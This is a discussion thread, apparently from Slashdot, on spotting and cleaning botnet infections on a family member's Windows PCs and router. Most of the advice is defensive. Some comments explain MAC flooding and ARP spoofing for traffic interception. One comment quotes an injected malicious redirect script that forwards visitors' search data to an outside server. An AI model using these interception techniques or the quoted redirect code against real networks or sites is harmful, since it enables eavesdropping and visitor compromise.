How Can I Tell If My Computer Is Part of a Botnet?
ashraya writes "My father (not too computer literate) has a desktop and a laptop both running Windows in his network back in Hyderabad, India. I set up a Linksys router for him to use with his broadband service. For some reason, he reset the config on the Linksys, and connected it up without wireless security, and also with the default admin password for some time. As you would expect, both of the Windows computers got 'slow,' and the desktop stopped connecting to the internet completely for some reason. As I logged in remotely to 'fix' things, I noticed on the Linksys' log that the laptop was making seemingly random connections to high-numbered ports on various IPs. I did an nslookup on the IPs to see that they were all either in Canada or US, with Comcast and other ISP addresses. Is that a sign that the computers were in a botnet? Are the other hosts part of the botnet too? (I have since rebuilt the Windows hosts, and these connections are not happening now. I have also secured the Linksys.)"
Well the only fool proof way that I can envision is the following
1) Plug you father computer into a HUB ( not a switch, unless it has a special port for this usage)
2) Plug the router into this HUB
3) Plug a Linux machine into the HUB and use tcpdump to examine traffic.
This is what security experts do.
Everything I write is lies, read between the lines.
As you would expect, both of the Windows computers got 'slow', and the desktop stopped connecting to the internet completely for some reason. As I logged in remotely to 'fix' things ...
Quick question, how did you log into his desktop remotely if it "stopped connecting to the internet completely for some reason?"
If all you did was reset the hosts file, it will be back sometime. Somewhere, probably in multiple places on that hard drive, is an executable waiting to be run. It's probably infected some inane looking routine Windows system file that occasionally runs and when that happens your host file will magically change again.
I could recommend you do a netstat but what's the point? Any botnet today would know how to elude that or run as part of a system routine. If the bot is serious enough, your best bet might be to save the data and just do a routine re-install. You know on my parent's WinXP machine, I do that everytime I'm home for christmas. Then I patch it as far as I can over their 56k modem.
Odds are high your dad's machine is still infected and I would also suspect your machine as being potentially compromised if you connected using Windows remote desktop. Call me overly cautious but I don't take chances with Windows.
You can run all the programs you want (Bothunter, Symantic, AVG, AdAware, etc.) but in the end there's no guarantee although BotHunter's probably your best bet.
The best thing to do is educate your dad. If he has a valid copy of Windows, spend time with him to show him how to go to IE and click Tools -> Update Windows then select all updates. Remind him periodically when you talk to him--especially if he does any banking or commerce online!
My work here is dung.
look at the activity lights on the whatever you have for networking equipment. If the activity lights go ape after the system comes up, and stays that way, back up what's safe and reload it.
I work for the Department of Redundancy Department.
Overseeing a small office lan, I've come to the conclusion that you will be infected whether you like to or not. Regardless of how much you threaten users. I've resorted to using an drive image (paragon) saved on a drive partition which saves the system in a uninfected state. As soon as a user goes 'uh ooh' or complains of slowness I restore the image (keep in mind data is stored on a server which is backed up and scanned on which no apps are allowed to run). I also run a combination of ccleaner, spybot s&d and windows defender.
In addition I check the network once a week for mail or ftp sockets ( evidence there is a bot net at work). So far this has been the easiest way to stay on top.
Close all programs
c:\>netstat -b
Love many, trust a few, do harm to none.
Fire up a command prompt and type
netstat -a | find "LISTENING"
to find out what ports your system is listening to. Running the netstat command will give you all the traffic. Should give you a good idea as to what is happening. (Helps to close all of your 'normal' apps)
+++ UGUCAUCGUAUUUCU
If I had that kind of suspicion and if it was router itself I was suspicious about, I would simply get the latest stable firmware for that particular model (be careful) and simply reinstall it over the router itself. It would be something like "format and install windows" I wouldn't really backup any settings on that case. Just make sure you know ISP login and pwd. Make sure they work, they haven't been changed at any point or you will end up speaking with Bangalore at 4 AM :)
A simple,fast port scanner exists at http://www.grc.com/ (shields up!) which really works, ignore Mr. Gibson's weird named inventions like "nano scan" etc. What I know is, it works. Oh also ignore its port 139 or "you aren't stealth" paranoia. 139 is client port and stealth would be good but you won't really die if you have nothing served.
For clients, don't re invent the wheel. NMAP is there, free and can run under win32 if you need. http://nmap.org/download.html , some instructions exist for detecting current security threats but I didn't really check since it is all OS X here, we have different issues than win32.
It's just Computrace.. Don't worry -- it will come back on its own.
What it really means is that your dad is a part of an international crime ring and he really is a cracker, without your knowledge. He just felt that you did not have a clue so allowed you to play with his computer.
I prefer the "u" in honour as it seems to be missing these days.
Boot into safe mode, then use a tool such as Autoruns by Sysinternals to see what's starting when Windows loads.
On an infected system you will see a number of drivers and shell extensions that are not a part of a standard Windows installation. Some of them may be things that were installed by the user, but most of them are malicious software.
Of course, getting rid of that stuff is an entirely different question.
The saddest poem
Doesn't work in XP.
C> netstat -a | find "LISTENING" [ENTER]
Response: NETSTAT is not not recognized as an internal or external command,operable program or batch file.
On boot it say "Welcome to Microsoft Windows"
It's either going to be a running process with startup entries and visible exe or DLL or whatever files, and then it's simple to find, or it's going to be hiding itself somehow. In the second case, use Rootkit Revealer. It's free and basically 100% heuristic with no definitions file at all. It just looks for inconsistencies between the registry and file system or something like that. I don't think any rootkits can hide from that.
Google's Super Secret Search Algorithm: SELECT @search_results FROM internet WHERE @search_results = 'good'
The rubotted tool does a pretty decent job of detecting most botted computers. Have your dad download it here:
http://www.trendsecure.com/portal/en-US/tools/security_tools/rubotted
You could also look for his system on the dronebl:
http://dronebl.org/
Good luck!
Get Autopatcher and update it from a CD BEFORE you connect it to anything.
- - - - - - - - - - -
I am a programmer. I am paid to produce syntax not grammar. Deal with it.
It makes remarks about wanting to try other operating software. It's unusually concerned about antivirus protection. Plug and Play only works with force-feedback devices. It makes unusually long "hand-shakes" with the email server. It accuses you of installing spyware. It asks you to run your network scans in promiscuous mode. It tells you that it's mainframe never liked you.
Your Dad was just torrenting porn.
I will not be pushed, filed, stamped, indexed, briefed, debriefed or numbered. My life is my own.
spend time with him to show him how to go to IE and click Tools -> Update
Not to be a troll, I was from Hyderabad too.
There is a little chance that this XP is a "genuine" one to allow updates.
-- It is the mark of an educated mind to be able to entertain a thought without accepting it. -- Aristotle
I have seen this happening with a computer running Skype.. Is your dad running Skype? Tell him to kill the Skype process in the system tray & see if the problem goes away.
While my father was cleaning his gun, he loaded it and emptied the clip into his foot. He then reloaded and pumped another four slugs into the same foot. So I was wondering, does any one know where I can get a good deal on Band-Aids? Thanks.
No folly is more costly than the folly of intolerant idealism. - Winston Churchill
Let me add to your list of cleaning tools. http://www.malwarebytes.org/
And please! For the love of Linux, remove Symantec products from your list.
Format and reinstall, if is the only way to be sure.
If I were God, wouldn't I protect my churches from acts of me?
For some reason, he reset the config on the Linksys, and connected it up without wireless security, and also with the default admin password for some time.
He probably just stuck a pencil in the reset button. Maybe because he was having connection problems for some other reason and that "fixed" it and he was happy. Ignorance is bliss ... for a while.
Research shows that 67% of those who use the term "research shows", are just making shit up.
Would wireshark work to capture traffic going to the botnet? Isn't it IRC traffic so you could just sort by that traffic type?
One word:
malwarebytes
Detecting and removing botnet software is its purpose in life.
http://download.cnet.com/Malwarebytes-Anti-Malware/3000-8022_4-10804572.html?tag=mncol
And as you tread the halls of sanity, You feel so glad to be, Unable to go beyond. I have a message, From another time..
It is absolutely breathtaking to me that people think the above behavior is somehow "normal".
No folly is more costly than the folly of intolerant idealism. - Winston Churchill
For a suspicion? Good luck with that.
Hardly a reliable or controlled test, relying on undefined behaviour of your 'switch'. In the process of confusing your ARP tables, you'll more likely prevent frames from reaching the correct destination: the router. You've either got a monitor port, or you haven't. You can't 'make' one by confusing the hell out of a cheap switch.
A good many replies here - so I will answer a few questions that have been asked.
1. For this time, I assumed the systems were owned, and they have now been rebuild (Windows Reinstalled).
2. The Linksys is re-secured - but I hadnt thought of that being owned - so I have to now do a firmware upgrade on that - Thanks for the suggestion.
3. Other suggestions are to confirm botnet or sniff traffic - I am in the UK, and I can only do so much remotely.
4. One of the quesions was how I managed to remote into the windows hosts - No, I managed to remote into the Linksys, not the windows hosts.
5. The bizzarre situation in the Windows host before it was rebuilt was that if we did (I told the commands over the phone for my dad to execute) ping or traceroute to a destination like www.google.co.in, it would work. It would resolve the right IP. However, with any of the browsers, as soon as access to a site was attempted - We would get a message "Connection Reset" or the browsers equivalent. (Firefox, Chrome and IE tried). Has anyone seen that one before?
6. Another question asked was if the Windows in question was legit - Yes, I bought him a OEM XP the last time I was there and installed it.
Regards,
Ashraya
I remember from my Sun Solaris 8 network or sys admin class that they said the system will automatically configure itself as a gateway between two network cards. When my son gets old enough to start surfing on his own, it's what I intend to do. I've got an old Solaris 8 machine on an Ultra 10. I can put it out in the garage (next to the cable modem) and have it be a physical hop between the cable modem and Dual Band WiFi router.
Running wire shark on the computer that might be infected is useless. Really nasty malware has the ability to hide it's traffic even from packet sniffers on the local host. I find the best bang for the buck is using a passive network tap and plug a sniffer into that. Now.. no need to go out and buy one as that will be expensive.. you can build one($18). http://www.instructables.com/id/Make_a_Passive_Network_Tap/ If you want to one-up this then get pc and install a network-based Intrusion Detection System(IDS), google snort, it'll look for abnormal network traffic patterns, and you can even configure them to notify you if it does detect something. Also.. take that linksys router and install DD-WRT on it and configure the firewall to block everything except what you know to be okay. Note: you can disable the reset button in DD-WRT =)
Wipe out the disk completely, and reinstall Windows.
If you want to do an analysis later, make an image of the disk before wiping it.
Run the image in an isolated network, where you can watch what's going on on the wire, but you are not causing harm to other computers.
"Home" is pretty much Microsoft-speak for "Borked".
Slashdot is doing tech-support for India now?
Some chick named Alanis is calling you subby.
Q: How do I tell if my computer is part of a botnet?
A: If it's got Windows on it, it is.
Use wireshark to hunt down your network from your router or via airtun (in aircrack) to scan the network from a computer.
Is it running windows?
If you are seeing netbios over tcp (port 445) traffic and he is not uploading/downloading files via the "My Network Places" interface he is most likely infected with a trojan.
If your seeing random high port to random high port traffic (ports 1024 - 65535 connecting to another ports 1024-65535) and he isn't doing P2P then he most likely is infected and the infection is trying to set up the machine as part of a bot net and trying to infect others.
If you are seeing UDP traffic on a consistent port on his machine to random high ports (1024-65535) on the outside, his machine is an active server in a bot net.
Having to work for a living is the root of all evil.
You've rebuilt the windows machines? So, now you can not at all be sure if they were part of a botnet or not.
Chances are they were, and you've done the right thing by rebuilding them.
I think the details about the router with it's default password an no wireless security is a red herring - I've not heard of a botnet that tries to get in to your network by guessing standard admin passwords for common wireless routers. More likely it was a drive-by download from a dodgy web page, or a trojan in some downloaded software that put the malware on the machines.
Specialist Mac support for creative pros, Melbourne
+1 Flamebait
My own Linksys router reverts to wireless network enabled, and without security. All it takes is the power to go out, and back on again, and Boom! you're wide open. Furthermore Linksys never offered a patch or recall or anything later, They accept this is OK.
(If at first you don't succeed, do it different next time!)
> I noticed on the Linksys' log that the laptop was making seemingly random connections to high-numbered ports on various IPs.
There is probably more than 1 thing going on here.
The machines are probably hacked. If they are, they will have some kind of a control channel. However, C&C is frequently subtle and hard to spot.
The behavior you describe is typical of a number of P2P VOIP applications. Skype is the most likely alternative.
If it is Skype, your chance of compromise is actually increased. I have observed attackers gathering lists of Skype peers (and BitTorrent peers as well.) They appear to believe that these lists provide a fruitful source of vulnerability for further attack.
Miles
Not if you run it from a LiveCD on a dedicated system that you have set up with a bridge like the post above.
Please don't make unverified claims. I have seen this happen first-hand on several residential switches (5/8 port Linksys/Acer/whatever). It's how they can get away with crapping 8 ports on an underpowered processor with piddly amounts of memory.
There's basically 3 ways a switch can deal with ARP overload:
1. Ditch the least recently seen address (annoying and laggy but relatively clean)
2. Slow down, panic, and stop forwarding packets altogether (hello Linksys)
3. Ignore ARP entirely and revert to being a dumb hub, at least temporarily until everyone shuts up
You'd be surprised how many A+ asshats have daisy-chained those cheap switches to save a buck. I remember one guy who had a cage full of shitty old gear going into a bunch of $40 Aopen switches, because he figured it was cheaper to cram a few U's with those tiny 8-port toys than to drop real money on a bunch of FSM750s. His latency was pretty bad for 100mbit, but his brain was even slower so he cared not. Then one day he added one device too many and a true packet storm ensued, which caused his entire network to seize within minutes. One switch barfed, then another, and another... he had four or five of them per rack, times maybe ten racks. I tried to explain how retarded he was for trying to save maybe $1000 per rack, when each rack had at least 50k worth of gear, but they say ignorance is bliss.
-Billco, Fnarg.com
I noticed on the Linksys' log that the laptop was making seemingly random connections to high-numbered ports on various IPs. I did a nslookup on the IPs to see that they were all either in Canada or US, with Comcast and other ISP addresses
Hey dad, you see that donkey icon in the system tray, next to the time ? Now right click on it and choose "Quit".
I see a lot of switch/gateway logs with connections like you describe. 85-90% of the time it is actually BitTorrent/Limewire/other forms of P2P traffic.
Sounds like Dad, if that's even his real name, knows more about computers than he is pretending to.
He is clearly torrenting, and your best course of action would be to report his nefarious actions to the authorities.
While we are on a topic of security:
Several months ago I started using Debian as my primary OS at home. I am very happy with it, but don't know much about how to keep it secure or how to tell if I had been compromised. Of course very basics are clear: I do not use root except in those instances of updates, etc. The consensus on this site is that if you run Linux then you are invincible, but I respectfully disagree. The system is only as secure as the competence of the user.
To cut the long story short:
- What do you normally do to make sure that your Linux system is clean? Is running apt-get upgrade regularly enough or is there more to it?
- What articles or books would you recommend to a newbie in this area? I am fully willing to RTFM as such, but please at least give me at least some direction on what to search for.
- Any other general tips, advice or wisdom would you be willing to share?
Thank you
As it's booting, if you see a logo that reminds you of Simon at all, chances are it's enslaved in a bot net. Daaamnnn yooouuuu Hasssbrooooo!!!!!
Admit it. You post strawman arguments as AC so you get modded Insightful for refuting them, rather than Troll
Is to sit down with your father and gently explain to him the perils of surfing the internet unprotected. Had he done that I am sure that this wouldn't have happened in first place. Not to mention that fortunately this was simply an infection that could be cured. Your father should be thank-full that there is no pregnancy involved. Something to keep n mind for the next he is out sowing his wild oats.
I have mod points and I am not afraid to use them.
Your father's computer could also have had spam smtp engines installed and controlled by a botnet. Honestly, I would try and steer your father to using Ubuntu or Linux Mint which is a much more secure computing platform than Windows. You could install and configure it for him. Basically, your dad probably uses the computer for basic office stuff and email so a Linux distro would be better for him. He would have to worry less about a botnet infection.
It comes with a logo; looks like a window. :)
--- For a good time mail uce@ftc.gov
Ever heard of Wireshark?
...so I downloaded the Bothunter executable only to discover that it did not have a valid digital signature. WTF? A security program that's not authenticatable?
If you are going to fart around that much, you might as well build a new install CD with SP3 slipstreamed in and the most recent hotfixes set to run on install:
http://www.nliteos.com/guide/part1.html
I have built such a CD from the I386 folder on my harddrive (my laptop came with a recovery partition, not a CD) and successfully installed it into a virtual machine.
Nerd rage is the funniest rage.
Right?
Computer memory is just fancy paper, CPUs just fancy pens with fancy erasers; the 'net is just a fancy backyard fence.
Switches don't have ARP tables, they have CAM tables. Only advanced (managed switches or Layer 3 switches know anything about ARP protocol)
You don't have to send a lot of traffic, just spoof lots of MAC addresses, and continuously send one frame with each MAC address as the source, once every 3 minutes or so.
It doesn't take very much traffic at all to put 50,000 or so entries in the tables. Just about 200 packets per second, or about 1 kilobyte per second worth of traffic will do it. Multiply that by 100 if your tinky little switch can handle 1 million MAC entries.
It's a simple physical fact, that small switches don't have enough of the expensive associative memory rqeuired to have large tables.
If the bogus netstat (and other utilities) are already part of the rootkit the skript ciddey downloaded, it doesn't cost the skript ciddey any more effort, and is even less likely to be noticed than strange output in netstat.
Computer memory is just fancy paper, CPUs just fancy pens with fancy erasers; the 'net is just a fancy backyard fence.
Maybe you already know, but if you don't, you should look up "Slip Streaming". With "Slip Streaming" you copy your install CD to your harddrive, "Slip Stream" the Service Pack files in, then create an install CD that will at least install the most recent Service Packs. Saves from having to go through all the old Service Packs on reinstalls.
He did say he has since rebuilt the machines, whatever he might have meant by that.
Also, the way I read it, he was saying he'd logged into the router/modem. (Which was also probably also compromised, but at least he wouldn't be sharing desktops with it.)
Computer memory is just fancy paper, CPUs just fancy pens with fancy erasers; the 'net is just a fancy backyard fence.
That's rather unfounded, it's not undefined behavior, and it's well understood. The simple fact is cheap switches have such a small CAM table available, that they can be filled up even in normal operation. It doesn't take very many packets per second or very many kilobytes per second to keep the table filled up, just frames with unique MAC addresses.
Even large expensive switches can have their CAM tables filled up, and they do the same thing (but the admin has more controls to stop it).
When an Ethernet frame arrives that has a destination MAC address not in the table, the switch will send the frame out all ports except the source port.
In normal operation, every received Ethernet frame is inspected, if the source MAC address is not in the table, and there's room in the table, then it is added. , if there is no place to store the new CAM entry, it's not stored, and the MAC address remains unknown.
Similarly, old entries in the table will get removed (usually after about 5 minutes, if no more frames have been received from that source)
When a switch receives a frame, and there is no CAM entry for the destination MAC addresses, the switch has to send every frame received out all ports, because it doesn't know the right destination.
Ergo, if the CAM table has been flooded, the flood is sustained, AND the MAC address whose traffic you want to sniff is not in the table, then all other ports will receive traffic they send.
It is true that it's dependant on how much memory the switch has.
There is another layer 2 attack called "ARP Injection" which is more reliable in this regard, especially when combined with CAM flooding.
However, ARP injection is easily detected by the security concerned just by watching system logs, and there are tools to easily detect it.
CAM flooding is harder, especially if the data sent in the Ethernet frame isn't a valid IP payload, they can be constructed in such a way that many ordinary packet sniffers will not detect the CAM flooding.
The security concerned use SNMPv3 managed switches that allow forwarding table monitoring and a network management station that can detect such incidents.
First, many bot kits now are lower profile, deliberately not taking all the bandwidth available. That's going to reduce activity on the idiot lights.
Second, the odds that the modem/router was itself also compromised are not small, and many of the cheap ones feed the idiot lights through software. (Do I need to say more about that?)
Computer memory is just fancy paper, CPUs just fancy pens with fancy erasers; the 'net is just a fancy backyard fence.
> How would a video file deliver a virus payload?
...via a trojan in the video file's drm protection layer as far as i can make out.
although to date this only seems to apply to .wmv files (thanks microsoft). the issue was originally reported in 2005, so i don't know whether it's very common, or indeed if it's still an issue nowadays.
for more info see here:-
http://seclists.org/bugtraq/2005/Jan/0130.html
It's true devices can do those things, and yeah, you would certainly need to test before trying flooding as a solution. (1) and (3) are really the only proper choices.
(2) is definitely a defect in the device, that the manufacturer should fix. I equate it to a hard drive running out of disk space, and deciding to shut itself off, instead of reporting an error when you try to write past the end of the disk.
But I suppose he did say it was a cheap switch, and sometimes, you really do get what you pay for.
Or are you talking about the known good machine which he brought with him, running (preferably a stripped down Linux or BSD) in stealth/promiscuous mode?
Computer memory is just fancy paper, CPUs just fancy pens with fancy erasers; the 'net is just a fancy backyard fence.
root kits these days even muck around with bios.
safe mode isn't safe any more. Hasn't been for quite a while.
Computer memory is just fancy paper, CPUs just fancy pens with fancy erasers; the 'net is just a fancy backyard fence.
Next time power goes down, the Linksys is going to be reset.
Computer memory is just fancy paper, CPUs just fancy pens with fancy erasers; the 'net is just a fancy backyard fence.
Do you guys remember when John Carmack used to post here? Now look at this place. AOL news is more tech-savvy. Ugh.
It is absolutely breathtaking to me that people think the above behavior is somehow "normal".
Depending on how the user uses the computer, it can be. Me? I don't need that. I do keep a backup image in case, and update it every so often, but I have yet to need it.
On the other hand, in the PC shop where I work, we have this one customer.... He was bringing his PC in so often (literally monthly) due to the mass of spyware and viruses on it that we made a fresh image of the OS and burned it onto disk, then when he came in he could opt for the full-price diagnostic and install or go for the cut-rate reimage. He managed to stay away for two months once when the tech taped a note to the PC that basically said "If it's free, it's a virus. Don't click on it!" But then he saw these smileys that he just had to use in his e-mails....
and the kneejerk reaction is not as valid as it once was, but have you tried talking him into giving up MSWindows?
I know, I know, easier said than done, and, these days, even Linux and BSD are having a hard time staying clean. (I'm sure that costs Billy G. a small donation or two a week. Sorry. You didn't want to hear that, either. I didn't say it.)
That modem/router is going to get reset again, hit by power or something. Depending on which model you're using, you can install a small Linux or net/openBSD distribution and reconstruct it so you can keep him from resetting it. Or maybe get a low-power PPC or ARM based NAS-type box (like the Kurobako), add disk drive and necessary ports (not sure what you'll need to hook to the WAN in India) to replace it and keep it more under your control.
As advice, it's good. Financially, and time-wise, I'm not able to do it in my house, yet. But it's something we all really need to start doing. Relying on ISPs who have do not have great incentive to help customers keep their kit clean is not a good idea.
If I had a couple of million in capital, I'd take a break and see what kind of packaged solution I could put together and sell -- very small ARM or coldfire processor as a tripwire watchdog, a medium-sized ARM with a small notebook or flash drive for meaningful logs as the firewall/router.
For my purposes, I'd have another ARM processor with a small notebook drive serving DNS on the inside of the LAN. (Stupid ISP is telling me to change my DNS setting to DHCP, so I want to start checking their DNS server against a third-party DNS server.) and another for serving timestamps, and another serving my personal website. And all of these could fit in one small physical box, really.
Computer memory is just fancy paper, CPUs just fancy pens with fancy erasers; the 'net is just a fancy backyard fence.
First you tell me not to make unverified claims (presumably referring to "undefined behaviour"), and then go on to itemise three ways a switch might deal with an ARP overload, even identifying that a Linksys switch, in your experience, will behave differently than others, in a completely undesirable manner in fact. Fuck me dead.
Secondly: No I would not be surprised at how many A+ asshats have daisy-chained these fuckers all around the floor. I've yanked them out by the dozen and forbidden them from use without at least arranging their deployment with me - otherwise the appearance of multiple MACs on a user port would trigger my port security.
I know that some switches will flood unknown unicasts if their CAMs get full. But you've shown yourself that you can't rely on how cheap nasty switches are going to perform even with some such as ARP flooding which would otherwise seem predictable and defined. You don't know how the code in these horrible, demonic little pieces of shit has been written, and that's why I'm saying: Don't ARP flood a cheap switch and expect it'll flood all unicasts as a result. Even if you are successful and get flooded unicasts, perhaps you'll have no control over the switches downstream toward the router, which might not take kindly to your pointless spewing of fake MACs to the network. I can say for sure if you tried that on one of my ordinary user ports, you'd be shut out immediately the switch saw a second ARP entry for a port that should normally have only one.
But then, if you had a port on my switch, and needed to monitor frames in either direction between to arbitrary other ports you'd get just that - a properly configured SPAN port that's going to do exactly what we expect, and no silly messing around with ARP spoofing just to confuse matters at the packet sniffing end.
I've read this entire thread and learned that it's impossible to tell if your computer is part of a botnet.
--I'm so big, my sig has its own sig.
-- See?
Your father was simply downloading porn through p2p.
Last week I was victim to an exploit in an older version of Coppermine, a photo-sharing app. The culprits uploaded a number of php scripts. Most scripts were designed to provide readily-indexable terms and phrases to search-engine spiders. If unwitting googlers went to the page, they were redirected to a fake anti-virus site which encourages you to download a trojan.
Interestingly, before redirecting the user to the fake site, the user's search terms (in addition to other data) were forwarded to a server in Russia. Presumably this was to continually optimize the index terms to those actually being searched for.
The code had been on my server for less than 3 days. After removing it, I still got 100s of hits from unwitting google and yahoo searchers.
A quick search of my own on google revealed 1000s of compromised servers. Wanna have fun with the black hat's server? Here's the relevant line from their scripts:
window.location = ("http://luckystats1.com/in.cgi?2&seoref="+encodeURIComponent(document.referrer)+"¶meter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&default_keyword=default");
If you go to YouTube and search for "Xbox host booting", there are shitload of tutorial on how to setup a botnet to kick somebody in a Halo 3 session so they win automatically. They all use UDP port 3074. If you see that then you know that on the other side is some kid who couldn't lose a game.
New Economic Perspectives
Download and install Wireshark from http://www.wireshark.org/
Fire it up and watch everything on the NIC
---- "Logoff! That cookie shit makes me nervous!" - A. Soprano
He's just torrenting porn...
We are the 198 proof..
> I have also secured the Linksys.
You're lucky it wasn't hijacked and bricked
- You know that a politician is lying, if his lips are moving. :P
- You know you have a botnet zombie if you're using Windows.
how did you log in to fix things when it was not connect to teh internets? Seriuos.
Re: Question 5. I just cleaned a computer displaying similar behaviour the other day. It took GMER from http://www.gmer.net/ to disable and remove the rootkit's dll on the machine I was working with. After that, I was able to run MBAM, install free avg, and had the system running very well.
Here is my patent-pending Karma Burning Algorithm (TM):
if( GetOperatingSystem() == "Windows" ) return true;
else return false;
Simple!
is to ask yourself "Is my computer running Microsoft Windows?"
if the answer to that is "yes", then your computer is either already running a botnet or will be soon.
Unplug it. This Internet business is overrated anyway. Though, I wouldn't be suprised if a Windows machine managed to get infected even disconnected from the world.
Seriously, I've had process explorer in my kit for a while, but haven't used it for much lately. Have you tried Malwarebytes, I wonder why it's not on your list. FWIW if you can't boot your system at all one of the guys from MBAM suggests Avira http://www.free-av.com/en/products/12/avira_antivir_rescue_system.html haven't tried that one yet, but it's on my list of potentials, so I'd love to hear if anyone has worked with it.
Under the influence of Post-Cyberpunk Gonzo Journalism
"FWIW if you can't boot your system at all one of the guys from *the* MBAM *forums* suggests Avira "
Sorry, had to fix that.
Under the influence of Post-Cyberpunk Gonzo Journalism
http://www.raymond.cc/blog/archives/2008/12/11/13-antivirus-rescue-cds-software-compared-in-search-for-the-best-rescue-disk/
Meh, there's a comparison of boot discs. Looks like the best by this eval is the Kaspersky rescue disc, but Avira runs a close second.
I find that believable, Kaspersky is a great AV program, I highly recommend it.
Under the influence of Post-Cyberpunk Gonzo Journalism
Yea, if you're reimaging off of the install disk this is the best way to go. Automate the darn thing, leave it unattended, forget about entering license keys, or clicking "next" a thousand times. Drop the disc in and hang with your parents while you're there.
Under the influence of Post-Cyberpunk Gonzo Journalism
There are some very inexpensive UPS enabled power strips today. APC makes a bunch. Just pick one up and make sure only your hardware router/firewall and hubs (if you use them) are plugged into it. With that light of a load, they will run longer than a larger UPS hooked up to your monitor and tower PC. Lets face it, if the power is out more than 30 minutes today, most home UPSs will run out of battery power before the smaller one dedicated to the modem and router/firewall. At least that has been my experience.
I put larger UPS hardware next to my primary work tower and (servers + big screen TV) and put a smaller less expensive UPS for my routers, modem, hubs. In the last two years I lost power for longer than 30 minutes only once. It was a no brainer shutting down everything before the UPS battery was completely depleted.
I was able to watch a 42 inch TV for 20 minutes before I had to turn it off, because the power did not come back on. So it is a pretty big UPS for a home. At least I do not have to worry about brown outs any more. The lights blink, no worries.
I turned the larger one off about 10 - 15 minutes before the smaller one keeping the modems and router/firewall hardware up ran out of juice. (I had a firewall/router, dumb hub and cable modem on that one smaller UPS, no problems and nothing else.)
Short answer? Yes.
If your computer is running Linux, Unix, OS/X it's not part of a botnet.
If your computer is not on any network it's not part of a botnet.
If your computer is running windows you take your chances.
Ashraya,
I live in Hyderabad, and I install Linux for a lot of people (friends, relatives, etc) around the place. I don't do windows, but if they're willing to spend a wee bit of time with me showing them the basics I'm sure they'll manage pretty well. Maybe not a scratch+install, but a dual boot would be fine.
Contact me at sitaramc -at- gmail -dot- com if you're interested. I live in the Srinagar Colony area but within reason, I'll go anywhere to help.
Oh, just in case you were wondering: no strings attached. None. (I have a very nice day job thank you! I do this for fun :-)
Cisco switches iirc are designed to change into broadcast mode when the MAC table overfills. Also, just because you are on a switch doesn't mean you can't see their traffic, it just means you have to work for it. Enable forwarding and use ARP spoofing to spoof the gateway and their PC and you'll see all the traffic on that segment.
This space intentionally left blank
Torrents would seem like random connections to multiple machines.
Your first mistake is that you think not having a password on your router makes you get infected. You dont need linux or anything. Get Combofix and Malwarebytes. If you have anything its gone. If you really want to know, Ethereal works perfectly well. No need for a hub, or any of that bullshit. People rely way to much on linux.
I replace my OS from an image of my install back with all my softwares, so that an image can be reused in under 20 minutes, and you are good to go, once a month even is good, with or without traces of spyware or trojans etc... just to be safe. Also I keep all files personal off the c drive.
I also have a copy of an image for a client of mine that regularly gets viruses, he pays me for the reinstall each time, although it takes me 20min. I charge him my min. 1 hour.
The son in this case could just avoid alot of heartache for himself and his dad, and just clone an image after fresh install, and re use that each time the father says something is up, as well a config file can be backed up for the router (linksis) so that you hard reset and reuse a saved config file to re enable all the configured stuff on the router, except change to a new admin password!
This will happen again: the wireless driver stack in Windows is poorly written and, as a result, users will disable the 'security' features just to get it to work consistently. Put another operating system on there. I suggest DOS or Linux if you don't want it to be exploited again in such a fashion.
Frankly, I'm surprised this got posted to slashdot. This is like "how do I floss my teeth?" or maybe "why is air breathable?" - both questions with easily findable answers via google. Maybe you should've started there.
~/ssh slashdot.org ssh: connect to host slashdot.org port 22: too many beers
"How Can I Tell If My Computer Is Part of a Botnet?"
The ONLY way to be sure is to infect the machine. That way you can be 100% sure that it's infected. No more trying to figure out if it's infected or testing anything.
You can be certain using this method that the machine is or is not part of the Botnet.
I thought Microsoft was speak for Borked. When did this special MS qualification for Home occur?
wake up and hold your nose
Q: What do you call a Linux workstation on a network with other Linux workstations?
A: A Beowulf cluster
Q: What do you can a Windows machine on a network with other Windows machines?
A: A botnet.
Please clone yourself...we need multiple copies.